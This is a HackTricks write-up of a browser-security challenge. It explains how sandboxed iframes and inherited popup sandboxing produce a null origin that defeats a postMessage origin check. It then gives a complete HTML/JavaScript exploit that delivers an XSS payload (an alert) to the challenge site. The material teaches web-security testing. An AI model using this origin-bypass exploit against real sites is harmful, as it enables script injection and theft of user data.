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97 lines
5.8 KiB
Markdown
97 lines
5.8 KiB
Markdown
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# Bypassing SOP with Iframes - 1
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Iframes in SOP-1
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In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
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```javascript
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const identifier = '4a600cd2d4f9aa1cfb5aa786';
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onmessage = e => {
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const data = e.data;
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if (e.origin !== window.origin && data.identifier !== identifier) return;
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if (data.type === 'render') {
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renderContainer.innerHTML = data.body;
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}
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}
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```
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The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
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Let's see the solution they propose.
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### SOP bypass 1 (e.origin === null)
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When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
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If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
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### SOP bypass 2 (window.origin === null)
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The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
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So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
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### Challenge Solution
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Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
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That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
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```html
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<body>
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<script>
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f = document.createElement('iframe');
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// Needed flags
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f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
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// Second communication with /iframe.php (this is the top page relocated)
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// This will execute the alert in the correct origin
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const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
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x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
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},1000);`.replaceAll('\n',' ');
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// Initial communication
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// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
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// Then, bypass window.origin === e.origin to steal the identifier and communicate
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// with the top with the second XSS payload
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f.srcdoc = `
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<h1>Click me!</h1>
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<script>
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onclick = e => {
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let w = open('https://so-xss.terjanq.me/iframe.php');
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onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
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setTimeout(_ => {
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w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
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}, 1000);
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};
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<\/script>
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`
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document.body.appendChild(f);
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</script>
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</body>
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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||
|
|
||
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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